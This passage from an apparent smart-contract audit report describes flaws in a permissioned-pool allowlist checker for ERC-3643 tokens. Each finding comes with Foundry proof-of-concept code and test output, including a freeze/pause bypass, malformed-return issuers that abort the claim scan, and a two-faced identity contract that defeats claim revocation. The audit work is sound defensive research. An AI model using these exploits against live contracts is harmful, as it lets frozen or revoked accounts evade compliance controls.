        assertEq(router.permissionedPayCount(), 0, "the permissioned payment hook was never reached");
    }

    //
```

```
    // Controls
    //

    /// @notice Control. The same trader, same freeze, taking the adapter as OUTPUT is stopped - the
    ///         unwrap is a real ERC-3643 transfer. This is the backstop that the route above avoids.
    function test_PoC_FrozenAccountIsStoppedWhenTheAdapterIsTheOutputCurrency() public {
        underlying.setAddressFrozen(trader, true);

        // The guard that bites: the unwrap the take would perform is refused outright.
        vm.prank(address(adapter));
        vm.expectRevert("wallet is frozen");
        underlying.transfer(trader, 1);

        // And so the whole route reverts. (The router wraps the inner reason, so the outer
        // expectation is unqualified; the assertion above pins which guard fired.)
        vm.expectRevert();
        vm.prank(trader);
        router.executeActions(_singleHopPlan(1e15));
    }

    /// @notice Control. Pausing alone also stops the direct route, so the token's guards do work
    ///         wherever the underlying actually moves.
    function test_PoC_PausedTokenStopsTheDirectRouteButNotTheIntermediateRoute() public {
        underlying.setPaused(true);

        // The guard that bites on the direct route.
        vm.prank(address(adapter));
        vm.expectRevert("Pausable: paused");
        underlying.transfer(trader, 1);

        vm.expectRevert();
        vm.prank(trader);
        router.executeActions(_singleHopPlan(1e15));

        // The very same paused state does not stop the intermediate route.
        uint256 balanceBefore = tokenB.balanceOf(trader);
        vm.prank(trader);
        router.executeActions(_multiHopPlan(1e15));
        assertGt(tokenB.balanceOf(trader), balanceBefore, "intermediate route completes while paused");
    }

    /// @notice Control. The hook gate is live on the multi-hop route: revoking verification blocks
    ///         it. So the bypass above is specifically freeze and pause being invisible to the
    ///         checker, not the permission check being absent.
    function test_PoC_UnverifiedAccountIsRejectedOnTheIntermediateRoute() public {
        registry.setVerified(trader, false);

        vm.expectRevert();
        vm.prank(trader);
        router.executeActions(_multiHopPlan(1e15));
    }

    /// @notice Control. With nothing frozen and nothing paused, the route is an ordinary swap.
    function test_PoC_HonestTraderRoutesThroughTheSamePools() public {
        uint256 balanceBefore = tokenB.balanceOf(trader);
        uint256 transfersBefore = underlying.transferCount();
        vm.prank(trader);
        router.executeActions(_multiHopPlan(1e15));
        assertGt(tokenB.balanceOf(trader), balanceBefore, "honest trader routes through the same
        ↪  pools");
        assertEq(underlying.transferCount(), transfersBefore, "still no underlying transfer on an
        ↪  intermediate route");
    }
```

```
}
```

Recommended Mitigation: Read the token's `paused` and `isFrozen` for the account before granting `SWAP_ALLOWED`, rather than deriving the whole decision from `isVerified`.

Two properties matter. Fail closed: if either getter is missing, reverts, or returns a malformed word, deny rather than default to unpaused and unfrozen, or the same bypass returns whenever the dependency misbehaves. And keep the reads gas-isolated in the way the liquidity probe already is, so a hostile or broken token surface cannot break the never-reverts guarantee that the hook depends on.

Partial freezes need a separate decision: a frozen balance portion does not map onto a boolean pool permission, and treating any partial freeze as a full denial may be stricter than intended.

Dowgo: Fixed in commits e6724ae, 0b96e8e.

Cyfrin: Verified.

7.1.4 A trusted issuer that answers successfully with data the ABI decoder rejects aborts the entire claim scan uncaught, destroying an honest issuer's independently valid claim

Description: `TREXAllowlistChecker::probeLpClaim` wraps the per-issuer validity call in a `try/catch` whose comment states the intent: a broken or hostile issuer must not deny the remaining trusted issuers their turn.

Solidity's `try/catch` guards the call, not the decode. When a `try` binds a return value, the `extcodesize` check and the ABI decode of the returned word run in `probeLpClaim`'s own frame, outside the catch scope. An issuer that succeeds with data the decoder rejects therefore reverts `probeLpClaim` uncaught, aborting the whole loop over trusted issuers instead of just its own iteration.

Three shapes do it, none of which requires the issuer to revert:

- zero-length returndata, which is exactly what a proxy whose implementation slot was never set produces
- a word shorter than 32 bytes, from a non-standard or wrong-ABI implementation
- 32 bytes that are not a canonical boolean

The `issuer.code.length` guard does not catch the proxy case, because the proxy still has code.

`TREXAllowlistChecker::_staticWord` already applies this reasoning on the swap path: its NatSpec records that an explicit `returndatasize` check replaces an ABI decode that try/catch cannot guard, since the decode runs in the caller's own frame. The issuer call ten lines above it does not.

Impact: An account holding a valid LP claim from one trusted issuer loses `LIQUIDITY_ALLOWED` because it also holds a claim keyed to a malformed issuer that sits earlier in the registry's issuer array. Registration order is not the victim's choice, and `TrustedIssuersRegistry::removeTrustedIssuer, updateIssuerClaimTopics` swap-and-pop can move an LP's index through an unrelated owner action.

The honest issuer's attestation is nullified without its knowledge, and the account gets no on-chain signal distinguishing this from ordinary ineligibility.

The swap right is unaffected, being decided before the probe runs, and `checkAllowlist` itself does not revert because the outer probe frame absorbs the failure. This denies liquidity provision rather than locking funds; the exit path stays ungated.

This failure needs no gas pressure at all: the issuer returns promptly and the frame dies on the decode, so a per-issuer gas bound would not prevent it.

Reachability is bounded by the issuer-binding guard: a malformed issuer is only called for accounts that hold a claim record keyed to it. An LP legitimately holding attestations from two issuers of the same topic, one of which is later upgraded, decommissioned, or left with an unset proxy implementation, satisfies that without any carelessness.

Proof of Concept: Save as `test/DOWGO-pocs/RevertSafetyIssuerScanAbort.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/RevertSafetyIssuerScanAbort.t.sol -vv
```

Eight tests pass against the real, unmodified `TREXAllowlistChecker`. Five are controls that isolate the decode as the cause:

- `test_control_singleGoodIssuer_grantsLiquidity` shows the LP path is alive
- `test_control_revertingFirstIssuer_stillGrantsLiquidity` shows a genuinely reverting first issuer does not abort the scan, so the `catch` works as documented and the failure below is specifically a decode failure
- `test_control_goodIssuerFirst_malformedSecond_grantsLiquidity` shows the flag is granted when the good issuer sorts first, so the loss is order-dependent rather than a property of the malformed issuer being registered at all
- `test_control_probeLpClaim_reverts_on_malformed_issuer` shows `probeLpClaim` called directly reverts on the malformed issuer, so the revert really does escape the inner `try/catch`
- `test_control_probeLpClaim_survives_reverting_issuer` shows it does not revert for the reverting one, still finding the later valid claim

Each of the three bug tests asserts that `SWAP_ALLOWED` survives and `LIQUIDITY_ALLOWED` does not, so only the LP bit moves.

```
[PASS] test_BUG_dirtyBoolIssuer_abortsScan_stripsLiquidity() (gas: 575641)
[PASS] test_BUG_emptyReturningIssuer_abortsScan_stripsLiquidity() (gas: 573823)
[PASS] test_BUG_shortReturningIssuer_abortsScan_stripsLiquidity() (gas: 574675)
[PASS] test_control_goodIssuerFirst_malformedSecond_grantsLiquidity() (gas: 511566)
[PASS] test_control_probeLpClaim_reverts_on_malformed_issuer() (gas: 497782)
[PASS] test_control_probeLpClaim_survives_reverting_issuer() (gas: 561481)
[PASS] test_control_revertingFirstIssuer_stillGrantsLiquidity() (gas: 573872)
[PASS] test_control_singleGoodIssuer_grantsLiquidity() (gas: 254346)
Suite result: ok. 8 passed; 0 failed; 0 skipped
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";

// ------------------------ minimal, faithful T-REX chain ------------------------

contract Token {
    address public identityRegistry;
    constructor(address r) { identityRegistry = r; }
}

contract IdRegistry {
    mapping(address => bool) public verified;
    mapping(address => address) public identityOf;
    address public issuersRegistry;

    constructor(address iss) { issuersRegistry = iss; }
    function setVerified(address u, bool v) external { verified[u] = v; }
    function setIdentity(address u, address i) external { identityOf[u] = i; }
    function isVerified(address u) external view returns (bool) { return verified[u]; }
    function identity(address u) external view returns (address) { return identityOf[u]; }
}

contract TrustedIssuers {
    mapping(uint256 => address[]) private byTopic;
    function addTrustedIssuer(uint256 t, address i) external { byTopic[t].push(i); }
```

```
    function getTrustedIssuersForClaimTopic(uint256 t) external view returns (address[] memory) {
        return byTopic[t];
    }
}

/// @dev Standard OnchainID: claims keyed by keccak256(abi.encode(issuer, topic)).
contract Identity {
    struct Claim { uint256 topic; address issuer; bytes sig; bytes data; }
    mapping(bytes32 => Claim) private claims;

    function addClaim(uint256 topic, address issuer, bytes memory sig, bytes memory data) external {
        claims[keccak256(abi.encode(issuer, topic))] = Claim(topic, issuer, sig, data);
    }

    function getClaim(bytes32 id)
        external view
        returns (uint256, uint256, address, bytes memory, bytes memory, string memory)
    {
        Claim memory c = claims[id];
        return (c.topic, 1, c.issuer, c.sig, c.data, "");
    }
}

/// @dev A well-behaved registered claim issuer that attests the claim is valid.
contract GoodIssuer {
    function isClaimValid(address, uint256, bytes calldata, bytes calldata) external pure returns
    ↪  (bool) {
        return true;
    }
}

/// @dev A registered claim issuer that REVERTS. The checker's `catch` is supposed to handle this.
contract RevertingIssuer {
    function isClaimValid(address, uint256, bytes calldata, bytes calldata) external pure returns
    ↪  (bool) {
        revert("issuer down");
    }
}

/// @dev A registered claim issuer that SUCCEEDS but answers with 16 bytes instead of 32.
///      (Decommissioned proxy, wrong ABI, non-standard implementation.)
contract ShortReturningIssuer {
    fallback() external { assembly { return(0, 16) } }
}

/// @dev A registered claim issuer that SUCCEEDS with 32 bytes that are not a canonical bool.
contract DirtyBoolIssuer {
    fallback() external {
        assembly {
            mstore(0x00, 2)
            return(0x00, 0x20)
        }
    }
}

/// @dev A registered claim issuer that SUCCEEDS with zero-length return data.
contract EmptyReturningIssuer {
    fallback() external { assembly { return(0, 0) } }
}

// ---------------------------------------------------------------------------

contract RevertSafetyIssuerScanAbortTest is Test {
```

```
    uint256 constant LP_TOPIC = 42;
    bytes constant SIG = hex"beef";
    bytes constant DATA = hex"01";

    TREXAllowlistChecker checker;
    IdRegistry registry;
    TrustedIssuers issuers;
    Token token;
    Identity bobId;
    GoodIssuer good;

    address bob = address(0xB0B);

    function setUp() public {
        checker = new TREXAllowlistChecker(LP_TOPIC);
        issuers = new TrustedIssuers();
        registry = new IdRegistry(address(issuers));
        token = new Token(address(registry));
        bobId = new Identity();
        good = new GoodIssuer();

        registry.setIdentity(bob, address(bobId));
        registry.setVerified(bob, true);
    }

    function _flags() internal view returns (PermissionFlag) {
        (bool ok, bytes memory ret) = address(checker).staticcall(
            abi.encodeWithSelector(TREXAllowlistChecker.checkAllowlist.selector, bob, address(token))
        );
        assertTrue(ok, "checkAllowlist reverted");
        return PermissionFlag.wrap(abi.decode(ret, (bytes2)));
    }

    function _hasLiquidity() internal view returns (bool) {
        return (_flags() & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
    }

    function _hasSwap() internal view returns (bool) {
        return (_flags() & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED;
    }

    /// @dev bob holds a valid claim from `good` AND a claim from `bad`; `bad` is registered FIRST.
    function _setupTwoIssuers(address bad) internal {
        issuers.addTrustedIssuer(LP_TOPIC, bad);        // index 0
        issuers.addTrustedIssuer(LP_TOPIC, address(good)); // index 1
        bobId.addClaim(LP_TOPIC, bad, SIG, DATA);
        bobId.addClaim(LP_TOPIC, address(good), SIG, DATA);
    }

    // ---------------------------- CONTROLS ----------------------------

    /// CONTROL 1: a single valid claim from a single good issuer grants LIQUIDITY.
    ///            (Proves the LP path is alive and the harness is not trivially broken.)
    function test_control_singleGoodIssuer_grantsLiquidity() public {
        issuers.addTrustedIssuer(LP_TOPIC, address(good));
        bobId.addClaim(LP_TOPIC, address(good), SIG, DATA);
        assertTrue(_hasLiquidity(), "CONTROL: good issuer must grant LIQUIDITY");
    }

    /// CONTROL 2: the documented guarantee HOLDS for a genuinely REVERTING first issuer.
    ///            src/TREXAllowlistChecker.sol:151-153 -- "A broken or hostile issuer must not deny
    ///            the remaining trusted issuers their turn." True when the issuer reverts.
    function test_control_revertingFirstIssuer_stillGrantsLiquidity() public {
```

```
        _setupTwoIssuers(address(new RevertingIssuer()));
        assertTrue(_hasLiquidity(), "CONTROL: reverting issuer must not abort the scan");
    }

    /// CONTROL 3: with the good issuer FIRST, a malformed second issuer is never reached,
    ///            so LIQUIDITY is granted. Proves the failure below is an ORDER-DEPENDENT abort,
    ///            not a property of the malformed issuer being registered at all.
    function test_control_goodIssuerFirst_malformedSecond_grantsLiquidity() public {
        address bad = address(new ShortReturningIssuer());
        issuers.addTrustedIssuer(LP_TOPIC, address(good)); // index 0
        issuers.addTrustedIssuer(LP_TOPIC, bad);           // index 1
        bobId.addClaim(LP_TOPIC, address(good), SIG, DATA);
        bobId.addClaim(LP_TOPIC, bad, SIG, DATA);
        assertTrue(_hasLiquidity(), "CONTROL: good issuer first must grant LIQUIDITY");
    }

    /// CONTROL 4: probeLpClaim itself reverts on the malformed issuer -- i.e. the failure really is
    ///            an UNCAUGHT revert inside probeLpClaim, escaping the inner try/catch.
    function test_control_probeLpClaim_reverts_on_malformed_issuer() public {
        _setupTwoIssuers(address(new ShortReturningIssuer()));
        (bool ok,) = address(checker).staticcall(
            abi.encodeWithSelector(TREXAllowlistChecker.probeLpClaim.selector, address(registry), bob)
        );
        assertFalse(ok, "CONTROL: probeLpClaim should revert (inner catch does not cover decode)");
    }

    /// CONTROL 5: probeLpClaim does NOT revert when the first issuer merely reverts.
    function test_control_probeLpClaim_survives_reverting_issuer() public {
        _setupTwoIssuers(address(new RevertingIssuer()));
        (bool ok, bytes memory ret) = address(checker).staticcall(
            abi.encodeWithSelector(TREXAllowlistChecker.probeLpClaim.selector, address(registry), bob)
        );
        assertTrue(ok, "CONTROL: probeLpClaim must survive a reverting issuer");
        assertTrue(abi.decode(ret, (bool)), "CONTROL: should still find the later valid claim");
    }

    // ---------------------------- THE FINDING ----------------------------

    /// A registered issuer that SUCCEEDS with a short answer aborts the whole issuer scan.
    function test_BUG_shortReturningIssuer_abortsScan_stripsLiquidity() public {
        _setupTwoIssuers(address(new ShortReturningIssuer()));
        assertTrue(_hasSwap(), "swap right must survive");
        assertFalse(
            _hasLiquidity(),
            "if this fails the bug is fixed: valid later claim survived a short-returning issuer"
        );
        console2.log("BUG: valid claim from issuer index 1 suppressed by short-returning issuer index
        ↪  0");
    }

    /// Same, with a non-canonical boolean (returndatasize == 32, value == 2).
    function test_BUG_dirtyBoolIssuer_abortsScan_stripsLiquidity() public {
        _setupTwoIssuers(address(new DirtyBoolIssuer()));
        assertTrue(_hasSwap(), "swap right must survive");
        assertFalse(_hasLiquidity(), "if this fails the bug is fixed: dirty-bool issuer was tolerated");
        console2.log("BUG: valid claim from issuer index 1 suppressed by dirty-bool issuer index 0");
    }

    /// Same, with an empty (0-byte) successful answer -- e.g. a proxy whose implementation is gone.
    function test_BUG_emptyReturningIssuer_abortsScan_stripsLiquidity() public {
        _setupTwoIssuers(address(new EmptyReturningIssuer()));
        assertTrue(_hasSwap(), "swap right must survive");
```

```
        assertFalse(_hasLiquidity(), "if this fails the bug is fixed: empty-returning issuer was
        ↪  tolerated");
        console2.log("BUG: valid claim from issuer index 1 suppressed by empty-returning issuer index
        ↪  0");
    }
}
```

Recommended Mitigation: Read the issuer's verdict the way the swap path already reads the registry's: a low-level `staticcall` into a fixed 32-byte buffer, an explicit `returndatasize` equality check, and a canonical-boolean check, then continue to the next issuer on any non-conforming answer. `TREXAllowlistChecker::_staticBool` is already exactly that function and is already in the file.

Either way the `catch` comment in `probeLpClaim` and the README claim that a misbehaving issuer denies only its own claim holders their liquidity flag are both false today, and should be corrected alongside the fix.

Dowgo: Fixed in commit 142580e.

Cyfrin: Verified.

7.1.5 `ClaimIssuer::revokeClaim` reads the signature to revoke from the untrusted OnchainID, so an issuer's revocation succeeds on-chain while `LIQUIDITY_ALLOWED` survives

Description: `TREXAllowlistChecker::probeLpClaim` reads the whole claim tuple from the account's OnchainID and passes the signature and data verbatim to the trusted issuer. The comment above that call states that validity is re-derived from the `TrustedIssuersRegistry` and never taken from the identity's self-reported record, and the contract NatSpec promises the claim must pass `isClaimValid` and not be revoked.

Only the issuer identity is re-derived. The bytes whose revocation status actually decides the answer are still the identity's self-reported record.

That matters because ONCHAINID keys revocation on those exact bytes. `ClaimIssuer::isClaimValid` returns a key-purpose check combined with `isClaimRevoked`, and `isClaimRevoked` is a lookup on the signature blob. The issuer's claim-id-addressed entry point, `ClaimIssuer::revokeClaim`, obtains the bytes to revoke by calling `getClaim` on the identity itself, the same untrusted contract the checker reads.

An OnchainID that answers `getClaim` differently depending on `msg.sender` therefore separates what the issuer revokes from what the checker validates. The bytes handed to the issuer need not be a valid signature at all, since `revokeClaim` simply marks whatever it is given. The README explicitly permits this shape, stating that the OnchainID is untrusted and may return a forged issuer, signature or data tuple, and `IdentityRegistry::registerIdentity` never checks that the registered address is a canonical ONCHAINID.

Impact: Against an account whose OnchainID is a contract of its own choosing, claim revocation is the issuer's only targeted lever over the liquidity flag. The alternatives punish everyone: `TrustedIssuersRegistry::removeTrustedIssuer` and `Identity::removeKey` strip every holder that issuer ever attested, and `IdentityRegistry::deleteIdentity` belongs to the registry agent and also removes the swap right.

That targeted lever is defeated at zero cost and permanently. The issuer's transaction succeeds, `ClaimRevoked` is emitted, `isClaimRevoked` returns true for the id the issuer just revoked, and the checker keeps granting `LIQUIDITY_ALLOWED`. The failure is silent in both directions: the issuer holds an on-chain receipt saying revocation worked, and off-chain `probeLpClaim` still answers true.

`ClaimIssuer::revokeClaimBySignature` remains effective only for an issuer that archived the original signature blob off-chain. An issuer that did not has no working targeted revocation at all.

The attacker needs only one legitimately issued signature, obtained through ordinary onboarding. The same substitution defeats the reference `IdentityRegistry::isVerified`, and hence `SWAP_ALLOWED`, wherever `LP_CLAIM_TOPIC` is also a required transfer topic.

Proof of Concept: Save as `test/DOWGO-pocs/VariantRevocation.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/VariantRevocation.t.sol -vv
```

Driven against the unmodified `TREXAllowlistChecker` and the real vendored ONCHAINID `ClaimIssuer` and `Identity` creation bytecode, reusing `test/DOWGO-pocs/OidBytecode.sol` already in the repo, with genuine signatures the real `getRecoveredAddress` accepts.

The headline test asserts in order: a genuine claim grants `LIQUIDITY_ALLOWED`; the issuer's `revokeClaim` succeeds; `isClaimRevoked` is true for the decoy and false for the real signature; and `LIQUIDITY_ALLOWED` is still granted.

Three controls rule out the alternatives:

- `test_Control_CanonicalOnchainIdRevocationWorks` deploys the real ONCHAINID `Identity` from vendored creation bytecode, populates it through its own `addClaim`, and shows it does lose `LIQUIDITY_ALLOWED` on revocation, so the checker genuinely consults revocation and the bypass is caused by the identity being non-canonical
- `test_Control_HonestIdentityRevocationWorks` reaches the same result with a single-faced mock, ruling out a harness artefact
- `test_Control_RevokeBySignatureStillWorks` shows the same two-faced identity does lose the flag when the issuer revokes the exact bytes, so the bypass is about which bytes were revoked rather than a broken issuer or a dead path

```
[PASS] test_Control_CanonicalOnchainIdRevocationWorks() (gas: 3125689)
[PASS] test_Control_HonestIdentityRevocationWorks() (gas: 740864)
[PASS] test_Control_RevokeBySignatureStillWorks() (gas: 819736)
[PASS] test_PoC_RevocationBypass() (gas: 852036)
Suite result: ok. 4 passed; 0 failed; 0 skipped
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {MockTrustedIssuersRegistry, MockIdentityRegistry, MockToken} from
↪  "../TREXAllowlistChecker.t.sol";
import {OidBytecode} from "./OidBytecode.sol";

interface IRealIdentity {
    function addClaim(uint256 topic, uint256 scheme, address issuer, bytes calldata sig, bytes calldata
    ↪  data, string calldata uri)
        external
        returns (bytes32);
    function getClaim(bytes32 claimId)
        external
        view
        returns (uint256, uint256, address, bytes memory, bytes memory, string memory);
}

interface IRealClaimIssuer {
    function isClaimValid(address identity, uint256 topic, bytes calldata sig, bytes calldata data)
        external
        view
        returns (bool);
    function isClaimRevoked(bytes calldata sig) external view returns (bool);
    function revokeClaimBySignature(bytes calldata sig) external;
    function revokeClaim(bytes32 claimId, address identity) external returns (bool);
    function keyHasPurpose(bytes32 key, uint256 purpose) external view returns (bool);
}
```

```solidity
/// @notice A canonical-shaped OnchainID: it returns the same claim record to every caller.
contract HonestIdentity {
    uint256 internal immutable TOPIC;
    address internal immutable ISSUER;
    bytes internal sig;
    bytes internal data;

    constructor(uint256 topic_, address issuer_, bytes memory sig_, bytes memory data_) {
        TOPIC = topic_;
        ISSUER = issuer_;
        sig = sig_;
        data = data_;
    }

    function getClaim(bytes32)
        external
        view
        virtual
        returns (uint256, uint256, address, bytes memory, bytes memory, string memory)
    {
        return (TOPIC, 1, ISSUER, sig, data, "");
    }
}

/// @notice The same OnchainID, except it answers the ISSUER with a decoy signature and everyone
///         else with the real one. Deploying it is permissionless and the registry agent registers
///         whatever address the investor hands over.
contract TwoFacedIdentity is HonestIdentity {
    bytes internal decoy;

    constructor(uint256 topic_, address issuer_, bytes memory sig_, bytes memory data_, bytes memory
    ↪  decoy_)
        HonestIdentity(topic_, issuer_, sig_, data_)
    {
        decoy = decoy_;
    }

    function getClaim(bytes32)
        external
        view
        override
        returns (uint256, uint256, address, bytes memory, bytes memory, string memory)
    {
        if (msg.sender == ISSUER) return (TOPIC, 1, ISSUER, decoy, data, "");
        return (TOPIC, 1, ISSUER, sig, data, "");
    }
}

contract VariantRevocationTest is Test {
    uint256 constant LP_TOPIC = 42;
    bytes constant DATA = hex"01";

    TREXAllowlistChecker checker;
    MockIdentityRegistry registry;
    MockTrustedIssuersRegistry issuersRegistry;
    MockToken token;

    address issuerKey;
    uint256 issuerPk;
    address claimIssuer;

    address lp = makeAddr("lp");
```

```
    function setUp() public {
        (issuerKey, issuerPk) = makeAddrAndKey("issuerSigningKey");

        // The REAL ONCHAINID ClaimIssuer, deployed from vendored creation bytecode.
        bytes memory init = abi.encodePacked(OidBytecode.claimissuerCreation(), abi.encode(issuerKey));
        address deployed;
        assembly {
            deployed := create(0, add(init, 0x20), mload(init))
        }
        require(deployed != address(0), "ClaimIssuer deploy failed");
        claimIssuer = deployed;

        checker = new TREXAllowlistChecker(LP_TOPIC);
        registry = new MockIdentityRegistry();
        issuersRegistry = new MockTrustedIssuersRegistry();
        registry.setIssuersRegistry(address(issuersRegistry));
        token = new MockToken(address(registry));
        issuersRegistry.addTrustedIssuer(LP_TOPIC, claimIssuer);
    }

    /// @dev Produce the signature a real ClaimIssuer accepts for (identity, topic, data).
    function _sign(address identity, bytes memory data) internal view returns (bytes memory) {
        bytes32 dataHash = keccak256(abi.encode(identity, LP_TOPIC, data));
        bytes32 prefixed = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(issuerPk, prefixed);
        return abi.encodePacked(r, s, v);
    }

    function _flags() internal view returns (PermissionFlag) {
        (bool ok, bytes memory ret) = address(checker).staticcall(
            abi.encodeWithSelector(TREXAllowlistChecker.checkAllowlist.selector, lp, address(token))
        );
        assertTrue(ok, "checkAllowlist must never revert");
        return PermissionFlag.wrap(abi.decode(ret, (bytes2)));
    }

    function _hasLiquidity() internal view returns (bool) {
        PermissionFlag f = _flags();
        assertTrue((f & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED, "swap flag
        ↪  expected throughout");
        return (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
    }

    /// @notice CONTROL: a canonical identity. revokeClaim() removes LIQUIDITY_ALLOWED, so the
    ///         checker really does consult the issuer's revocation state.
    function test_Control_HonestIdentityRevocationWorks() public {
        // predict address of the identity so the signature can bind to it
        address predicted = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));
        bytes memory sig = _sign(predicted, DATA);
        HonestIdentity id = new HonestIdentity(LP_TOPIC, claimIssuer, sig, DATA);
        assertEq(address(id), predicted, "predicted identity address");
        registry.setIdentity(lp, address(id));
        registry.setVerified(lp, true);

        assertTrue(_hasLiquidity(), "baseline: valid claim grants LIQUIDITY_ALLOWED");

        bytes32 claimId = keccak256(abi.encode(claimIssuer, LP_TOPIC));
        vm.prank(issuerKey);
        IRealClaimIssuer(claimIssuer).revokeClaim(claimId, address(id));

        assertTrue(IRealClaimIssuer(claimIssuer).isClaimRevoked(sig), "the real signature is revoked");
        assertFalse(_hasLiquidity(), "control: revocation removes LIQUIDITY_ALLOWED");
    }
```

```
    /// @notice The bypass.
    function test_PoC_RevocationBypass() public {
        address predicted = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));
        bytes memory sig = _sign(predicted, DATA);
        bytes memory decoy = hex"00";
        TwoFacedIdentity id = new TwoFacedIdentity(LP_TOPIC, claimIssuer, sig, DATA, decoy);
        assertEq(address(id), predicted, "predicted identity address");
        registry.setIdentity(lp, address(id));
        registry.setVerified(lp, true);

        assertTrue(_hasLiquidity(), "baseline: valid claim grants LIQUIDITY_ALLOWED");

        bytes32 claimId = keccak256(abi.encode(claimIssuer, LP_TOPIC));
        vm.prank(issuerKey);
        bool ok = IRealClaimIssuer(claimIssuer).revokeClaim(claimId, address(id));
        assertTrue(ok, "the issuer's revocation call succeeds");

        assertTrue(IRealClaimIssuer(claimIssuer).isClaimRevoked(decoy), "the DECOY is what got
        ↪  revoked");
        assertFalse(IRealClaimIssuer(claimIssuer).isClaimRevoked(sig), "the real signature is
        ↪  untouched");

        assertTrue(_hasLiquidity(), "VULNERABLE: LIQUIDITY_ALLOWED survives the issuer's revocation");
    }

    /// @notice CONTROL: the REAL canonical ONCHAINID `Identity`, deployed from vendored creation
    ///         bytecode and populated through its own `addClaim` (which itself re-checks validity at
    ///         write time). Against a canonical identity `revokeClaim` does exactly what the issuer
    ///         expects, so the failure above is caused by the identity being non-canonical - a shape
    ///         the trust model explicitly permits and `registerIdentity` never checks.
    function test_Control_CanonicalOnchainIdRevocationWorks() public {
        address lpOwner = makeAddr("lpOwner");
        bytes memory init = abi.encodePacked(OidBytecode.identityCreation(), abi.encode(lpOwner,
        ↪  false));
        address idAddr;
        assembly {
            idAddr := create(0, add(init, 0x20), mload(init))
        }
        require(idAddr != address(0), "Identity deploy failed");

        bytes memory sig = _sign(idAddr, DATA);
        vm.prank(lpOwner);
        IRealIdentity(idAddr).addClaim(LP_TOPIC, 1, claimIssuer, sig, DATA, "");

        registry.setIdentity(lp, idAddr);
        registry.setVerified(lp, true);
        assertTrue(_hasLiquidity(), "baseline: canonical identity + valid claim grants
        ↪  LIQUIDITY_ALLOWED");

        bytes32 claimId = keccak256(abi.encode(claimIssuer, LP_TOPIC));
        vm.prank(issuerKey);
        IRealClaimIssuer(claimIssuer).revokeClaim(claimId, idAddr);
        assertTrue(IRealClaimIssuer(claimIssuer).isClaimRevoked(sig), "the real signature is revoked");
        assertFalse(_hasLiquidity(), "control: against a canonical ONCHAINID revocation removes the
        ↪  flag");
    }

    /// @notice CONTROL: the same two-faced identity, revoked by signature instead, loses the flag.
    ///         So the bypass is about WHICH bytes get revoked, not about a broken issuer.
    function test_Control_RevokeBySignatureStillWorks() public {
        address predicted = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));
        bytes memory sig = _sign(predicted, DATA);
```

```
        TwoFacedIdentity id = new TwoFacedIdentity(LP_TOPIC, claimIssuer, sig, DATA, hex"00");
        registry.setIdentity(lp, address(id));
        registry.setVerified(lp, true);
        assertTrue(_hasLiquidity(), "baseline");

        vm.prank(issuerKey);
        IRealClaimIssuer(claimIssuer).revokeClaimBySignature(sig);
        assertFalse(_hasLiquidity(), "control: revoking the exact bytes does remove the flag");
    }
}
```

Recommended Mitigation: The checker cannot repair this alone, having no way to learn which signature the issuer actually attested. Three changes are worth making together.

Correct the `probeLpClaim` comment and the README: only the issuer binding is re-derived, so the claim material is still whatever the untrusted OnchainID returns and revocation state is under the identity's control.

Operationally, require issuers to revoke with `revokeClaimBySignature` against an archived signature and never with `revokeClaim`; treat the latter as advisory.

For a stronger guarantee, gate the LP flag on the identity being a canonical ONCHAINID, checking it against the deployment's ONCHAINID factory or implementation authority inside the existing gas-bounded probe frame so a failure still degrades rather than reverts. This narrows who may hold the LP flag and adds work inside the `LP_PROBE_GAS` budget, so it must be sized alongside the existing probe-budget finding.

Dowgo: Acknowledged; correct fix belongs upstream. Update docs in commit d5977a4.

7.2 Low Risk

7.2.1 Unbounded swap-side verification lets an earlier claim issuer suppress later valid claims and consume nearly all supplied gas, contradicting the `README.md` blast radius

Description: `TREXAllowlistChecker::_staticWord` forwards all available gas - `staticcall(gas(), target, ...)` - so EIP-150 hands the `isVerified` callee up to 63/64 of the remaining frame. The comment beside it records that the full forward is deliberate, to accommodate registries behind deep proxies.

The vendored ERC-3643 registry (out of scope, traced for context) calls `isClaimValid` on each trusted issuer under whose derived claim id the holder's identity answers with a matching topic. A registered issuer that burns gas there - a deliberate bomb, or merely an expensive honest implementation such as an on-chain revocation scan - burns it inside that unbounded frame.

If the burner is the last relevant candidate, the registry catches the out-of-gas and `isVerified` returns a clean `false`, denying through `!verified`. If a later valid issuer exists, the outcome turns on the surviving gas: an insufficient remainder exhausts the frame and denies through `!verifiedOk`, while a sufficiently overprovisioned call may reach the later issuer after consuming most of what the transaction supplied. On the denying branches `checkAllowlist` resolves to `PermissionFlags.NONE`, the hook reverts the swap, and the gas is gone either way.

The radius has two tiers. A holder whose only required-topic claim comes from the burning issuer is denied outright. A holder who also carries a valid claim from a later trusted issuer on the same topic is the harder case: the registry catches the burn, then continues the loop with roughly a sixty-fourth of the frame, and the next `getClaim` is unguarded, so the later valid claim is typically never evaluated at all. On a genuine factory OnchainID only the issuer's own attestation can occupy its claim id, which is what confines this to holders who at some point accepted a claim from that issuer. A custom identity can answer any claim id with any tuple, but that is self-inflicted.

`README.md` commits to the opposite blast radius: an issuer that reverts, returns a malformed answer or burns gas "denies its own claim holders their liquidity flag" but "cannot deny anyone their swap right, nor stall the pool".

